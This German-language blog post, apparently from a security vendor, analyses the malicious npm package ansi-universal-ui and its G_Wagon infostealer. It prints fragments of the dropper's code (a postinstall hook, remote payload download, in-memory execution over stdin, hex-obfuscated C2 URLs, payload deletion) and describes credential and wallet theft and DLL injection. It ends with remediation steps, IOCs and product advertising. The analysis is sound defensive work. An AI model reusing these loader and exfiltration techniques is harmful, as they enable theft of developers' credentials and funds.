Am 23. Januar 2026 um 08:46 UTC meldete unser Malware-Erkennungssystem ein Paket namens ansi-universal-ui. Der Name klingt nach einer langweiligen UI-Komponentenbibliothek. Die Beschreibung besagt sogar, dass es sich um "ein leichtgewichtiges, modulares UI-Komponentensystem für moderne Webanwendungen." Sehr professionell. Sehr normal. Nur ist es das nicht.
Was wir fanden, ist ein ausgeklügelter mehrstufiger Infostealer, der seine eigene Python-Laufzeitumgebung herunterlädt, eine stark verschleierte Payload ausführt und Ihre Browser-Zugangsdaten, Kryptowährungs-Wallets, Cloud-Zugangsdaten und Discord-Tokens in einen Appwrite-Speicher-Bucket exfiltriert. Er enthält auch eine eingebettete Windows-DLL, die mittels nativer NT-APIs in Browserprozesse injiziert wird. Die Malware nennt sich intern „G_Wagon“, vermutlich weil die Autoren einen teuren Geschmack haben.
Die Entwicklung eines Angriffs in Echtzeit beobachten
Dies ist interessant, da wir den gesamten Entwicklungsprozess verfolgen können. Der Angreifer veröffentlichte innerhalb von zwei Tagen 10 Versionen, und jede Version erzählt einen Teil der Geschichte.
Tag 1 (21. Januar) – Testen der Dropper-Infrastruktur:
- v1.0.0 (15:54 UTC): Erstes Gerüst unter Verwendung des npm-Tar-Moduls
- v1.2.0 (16:03 UTC): Umstellung auf System-Tar, erste Selbstabhängigkeit
- v1.3.2 (16:09 UTC): Postinstall-Hook hinzugefügt (noch keine Payload)
- v1.3.3 (16:18 UTC): Einen Redirect-Bug behoben
Tag 2 (23. Januar) – Waffenisierung:
- v1.3.5 (08:46 UTC): C2-URL hinzugefügt, gefälschtes Branding, Platzhalter entfernt
- v1.3.6 (08:53 UTC): Selbstabhängigkeit für doppelte Ausführung wieder aktiviert
- v1.3.7 (09:09 UTC): Anti-Forensik hinzugefügt, Log-Nachrichten bereinigt
- v1.4.0 (12:27 UTC): Auf Frankfurt C2 umgestellt, Payload wird jetzt über stdin geleitet (berührt niemals die Festplatte)
- v1.4.1 (12:48 UTC): Obfuskation, hex-kodierte Strings, Köder-UI-Klasse hinzugefügt
- v1.4.2 (13:06 UTC): Bugfix (v1.4.1 hat den Python-Pfad beschädigt)
Der Angreifer entwickelt aktiv weiter. Während wir diesen Beitrag schrieben, haben sie drei weitere Versionen veröffentlicht.
Die Testphase
Die frühen Versionen (1.0.0 bis 1.3.3) enthielten alle eine Datei namens py.py mit diesem Inhalt:
print("python code executed!")Das war's. Nur ein Platzhalter, um zu testen, ob die Ausführungskette funktionierte. Der Angreifer baute Infrastruktur auf.
In v1.2.0 nahmen sie eine interessante Änderung vor. Sie entfernten die npm-tar-Abhängigkeit und wechselten zur direkten Ausführung des System-tar-Befehls:
- const tar = require('tar');
+ const https = require('https');
- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);
+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);Warum? Weniger npm-Abhängigkeiten bedeuten eine kleinere Angriffsfläche für die Erkennung. Es bedeutet auch, dass das Paket funktioniert, ohne etwas von npm zu installieren.
Aber sie führten einen Bug ein. Die Weiterleitungsbehandlung funktionierte tatsächlich nicht:
if (res.statusCode === 302 || res.statusCode === 301) {
downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
return;
}
Sie behoben dies in v1.3.3:
if (res.statusCode === 302 || res.statusCode === 301) {
const newUrl = res.headers.location;
downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
return;
}
Deshalb sehen wir die Versionslücke zwischen 1.3.3 und 1.3.5. Sie testeten, stießen auf den Bug, behoben ihn, verifizierten die Funktionalität und kamen dann zwei Tage später zurück, um ihn zu instrumentalisieren.
Die Instrumentalisierung
Mit Version 1.3.5 ändert sich alles. Werfen wir einen Blick auf den entscheidenden Diff:
- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');Anstatt den lokalen Platzhalter auszuführen, lädt es nun die Payload von einem Appwrite-Speicher-Bucket herunter.
Sie fügten auch einen vielsagenden Kommentar hinzu, der in der finalen Version entfernt wurde:
// console.log("Fetching latest logic..."); // Uncomment if you want them to see thisDer Angreifer hatte offensichtlich die Betriebssicherheit im Blick.
Das gefälschte Branding
Version 1.3.5 verlieh dem Ganzen auch Legitimität. Die package.json änderte sich von:
{
"description": "A cross-platform tool powered by Python"
}
Zu:
{
"description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
"keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
"author": "Universal Design Team",
"license": "MIT"
}
Sie fügten eine README.md voller Buzzwords hinzu:
Universal UI ist eine Bibliothek deklarativer Komponenten-Primitive, die für hochperformantes Interface-Rendering entwickelt wurde. Sie bietet eine vereinheitlichte Schicht zur Verwaltung visueller Zustände, Themes und Layout-Systeme über moderne Anwendungsarchitekturen hinweg.
Und mein persönlicher Favorit:
Virtuelle Rendering-Engine: Optimierter Diffing-Algorithmus, der reibungslose Übergänge und minimale Neuzeichnungen bei Zustandsänderungen gewährleistet.
Nichts davon ist echt. Es gibt keinen ThemeProvider. Es gibt keine Virtuelle Rendering-Engine. Es gibt nur Malware.
Der Selbstabhängigkeits-Trick
Betrachten Sie die package.json von v1.3.7:
{
"scripts": {
"postinstall": "node index.js"
},
"dependencies": {
"ansi-universal-ui": "^1.3.5"
}
}
Das Paket ist von sich selbst abhängig. Version 1.3.7 benötigt Version ^1.3.5. Wenn npm das Paket installiert, führt es den postinstall-Hook aus. Dann installiert es die Abhängigkeit (eine ältere Version von sich selbst), was den postinstall-Hook erneut ausführt. Doppelte Ausführung.
Interessanterweise entfernten sie dies in v1.3.5 und fügten es in v1.3.6 wieder hinzu. Wahrscheinlich, um zu testen, ob es Probleme verursachte.
Die Anti-Forensik
Version 1.3.7 fügte Bereinigungscode hinzu, um die Payload nach der Ausführung zu löschen:
child.on('close', (code) => {
try {
if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
fs.unlinkSync(LOCAL_SCRIPT_PATH);
}
} catch (cleanupErr) {
// Ignore cleanup errors
}
process.exit(code);
});
Sie bereinigten auch die Log-Meldungen:
- console.log("Setting up Python environment...");
+ console.log("Initializing UI runtime...");"Setting up Python environment" ist verdächtig. "Initializing UI runtime" klingt nach einer legitimen UI-Bibliothek, die typische UI-Bibliotheksfunktionen ausführt.
Entwickelt sich weiter: v1.4.x
Während wir diese Malware analysierten, veröffentlichte der Angreifer zwei weitere Versionen. Sie lernen dazu.
v1.4.0 führte eine entscheidende Änderung ein: Die Python-Payload greift nicht mehr auf die Festplatte zu. Anstatt sie in eine Datei herunterzuladen und auszuführen, holt der Dropper nun base64-kodiertes Python vom C2, dekodiert es im Speicher und leitet es direkt an python - über stdin:
e
const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();Keine Datei zum Löschen. Keine Artefakte zurückgelassen.
v1.4.1 ging mit der Obfuskation noch weiter. Die C2-URL ist nun in hexadezimal kodierte Chunks aufgeteilt:
const _ui_assets = [
"68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
"3639363865613536303033313663313238663232",
"2f66696c65732f",
"363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');Sie haben auch eine Decoy-Klasse hinzugefügt, um den Code wie eine echte UI-Bibliothek aussehen zu lassen:
class LayoutCompute {
constructor() { this.matrix = new Float32Array(16); this.x = 0; }
mount(v) { return (v << 2) ^ 0xAF; }
sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}
Die Verzeichnisse wurden umbenannt von python_runtime zu lib_core/renderer. Variablen wie pythonCode wurden zu _texture_data. Die Funktion setupPython wurden zu _init_layer. Alles klingt jetzt wie Grafik-Rendering-Code.
Sie wechselten auch ausschließlich zum Frankfurter C2-Server und gaben den NYC-Endpunkt auf.
v1.4.2 erschien 18 Minuten später. Sie haben etwas kaputt gemacht. Der Kommentar im Code sagt alles:
// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure
In v1.4.1, sie benannten das Verzeichnis für ästhetische Obfuskation in renderer um, aber der Python-Tarball entpackt sich in einen Ordner namens python. Hoppla. Die Malware hätte nicht funktioniert. v1.4.2 behebt dies, wobei die Hex-Kodierung beibehalten wird.
Phase 2: G_Wagon Stealer
Die Python-Payload ist der Punkt, an dem es interessant wird. Der Code ist mit einbuchstabigen Variablennamen und String-Konstanten obfuskiert, aber die Funktionalität wird klar, sobald man sie durcharbeitet.
Als Erstes prüft die Malware, ob eine Datei namens .gwagon_status in Ihrem Home-Verzeichnis existiert. Diese Datei enthält einen Zähler. Wenn Sie bereits zweimal infiziert wurden, wird die Ausführung beendet. Es ist nicht nötig, dieselben Daten wiederholt zu stehlen.
Dann beginnt es seine Arbeit.
Browser-Zugangsdaten: Der Stealer zielt auf Chrome, Edge und Brave unter Windows und macOS ab. Unter Windows beendet er die Browser-Prozesse, startet eine neue Instanz mit aktiviertem Chrome DevTools Protocol und extrahiert alle Cookies. Er entschlüsselt auch gespeicherte Passwörter mithilfe der Windows Data Protection API. Unter macOS extrahiert er den Verschlüsselungsschlüssel aus dem Keychain und verwendet OpenSSL zur Entschlüsselung der Anmeldedaten.
Kryptowährungs-Wallets: Das ist die eigentliche Beute. Die Malware zielt auf über 100 Browser-Wallet-Erweiterungen ab. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus und Dutzende weitere. Sie kopiert das gesamte Datenverzeichnis der Erweiterung für jede gefundene Wallet.
Die vollständige Liste umfasst Wallets für Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals und so gut wie jedes Blockchain-Ökosystem, das man sich vorstellen kann.
Cloud-Zugangsdaten: Wenn Sie jemals die AWS CLI, Azure CLI oder das Google Cloud SDK auf Ihrem Rechner konfiguriert haben, kopiert die Malware Ihre Zugangsdaten-Dateien. Dasselbe gilt für SSH-Schlüssel und Ihre kubeconfig. Ihre gesamte Cloud-Infrastruktur, potenziell zugänglich mit einer einzigen Zip-Datei.
Messaging Tokens: Discord-Token-Diebstahl ist seit Jahren ein fester Bestandteil von npm-Malware, und G_Wagon enttäuscht nicht. Es erfasst auch Telegrams tdata Verzeichnis und Steam-Authentifizierungsdateien.
Die Exfiltration
Alle gestohlenen Daten werden gezippt und in den Appwrite-Bucket des Angreifers hochgeladen. Die Dateinamen folgen einem Muster: {username}@{hostname}_{browser}_{profile}_{original_file}.
Die Malware hat zwei C2-Server konfiguriert:
- Primär:
nyc.cloud.appwrite[.]io(Projekt-ID:6886229e003d46469fab) - Backup:
fra.cloud.appwrite[.]io(Projekt-ID:6968e9e9000ee4ac710c)
Bei großen Dateien werden die Daten in 5-MB-Stücke zerlegt und sequenziell hochgeladen. Dateien über 50 MB werden in 45-MB-Teile aufgeteilt. Die Autoren haben offensichtlich Opfer mit vielen wertvollen Daten einkalkuliert.
DLL Injection
Ein weiteres Merkmal hebt diesen Stealer hervor. Der Python-Code enthält einen großen base64-kodierten Blob – eine XOR-verschlüsselte Windows-DLL.
c='+qmQZ9cVqpo....==' # Aus Gründen der Kürze redigiert – der tatsächliche Blob ist viel größerDer Code base64-dekodiert dies, XOR-entschlüsselt es mit einem fest codierten Schlüssel und injiziert es dann mithilfe nativer NT-APIs in Browserprozesse: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, und NtCreateThreadEx.
Die Malware enthält einen vollständigen PE-Parser, der die Exporttabelle durchsucht, um nach einer Funktion namens „Initialisieren“ zu suchen – das ist der Einstiegspunkt, den sie nach der Injektion aufruft.
Behebung und Erkennung
Wenn Sie installiert haben ansi-universal-ui, müssen Sie sofort Folgendes tun:
- Entfernen Sie das Paket aus Ihrem Projekt und löschen Sie node_modules
- Überprüfen Sie, ob die
.gwagon_statusDatei in Ihrem Home-Verzeichnis vorhanden ist (falls ja, wurden Sie wahrscheinlich infiziert) - Alle im Browser gespeicherten Passwörter ändern
- Tokens für alle Kryptowährungs-Wallets widerrufen und neu generieren, die als Browser-Erweiterungen installiert wurden (betrachten Sie diese als kompromittiert)
- AWS-/Azure-/GCP-Anmeldeinformationen ändern, wenn Sie diese CLIs verwenden
- SSH-Schlüssel neu generieren
- Discord- und Telegram-Sitzungen für ungültig erklären
So erkennen Sie mit Aikido, ob Sie betroffen sind:
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Die Schwachstelle wird als 100/100 kritisches Problem im Feed angezeigt. Tipp: Aikido scannt Ihre Repos nächtlich neu, wir empfehlen jedoch, auch einen vollständigen Neu-Scan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, richten Sie ein Konto ein und verbinden Sie Ihre Repos. Unsere proprietäre Malware-Abdeckung ist im kostenlosen Plan enthalten (keine Kreditkarte erforderlich).
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen, einen sicheren Wrapper für npm, npx, yarn und andere Paketmanager. Safe Chain fügt sich in Ihre aktuellen Workflows ein. Es funktioniert, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und die Pakete vor der Installation gegen Aikido Intel, unseren Open Source Bedrohungsaufklärungs-Feed, auf Malware überprüft. Stoppen Sie Bedrohungen, bevor sie Ihr System erreichen.
Indikatoren für Kompromittierung
Paket
- Name:
ansi-universal-ui - Schädliche Versionen: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1
Dateihashes (SHA256)
- v1.0.0 index.js:
7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85 - v1.2.0 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 - v1.3.2 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1(identisch mit v1.2.0) - v1.3.3 index.js:
1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7 - v1.3.5 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(BÖSARTIG) - v1.3.6 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(identisch mit v1.3.5, BÖSARTIG) - v1.3.7 index.js:
eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c(BÖSARTIG) - v1.4.0 index.js:
ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432(BÖSARTIG) - v1.4.1 index.js:
a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52(BÖSARTIG) - py.py (alle Versionen):
e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941
Hinweis: v1.3.5 und v1.3.6 sind identisch index.js Dateien (nur package.json geändert). v1.2.0 und v1.3.2 sind ebenfalls identisch (es wurde lediglich der postinstall-Hook hinzugefügt).
Netzwerk
hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab(v1.3.x)hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c(v1.4.x)- Appwrite Projekt-ID (NYC):
6886229e003d46469fab - Appwrite Projekt-ID (FRA):
6968e9e9000ee4ac710c - Appwrite Bucket-ID (NYC):
688625a0000f8a1b71e8 - Appwrite Bucket-ID (FRA):
6968ea5600316c128f22
Dateisystem
~/.gwagon_status(Ausführungszähler, auf Windows ausgeblendet)

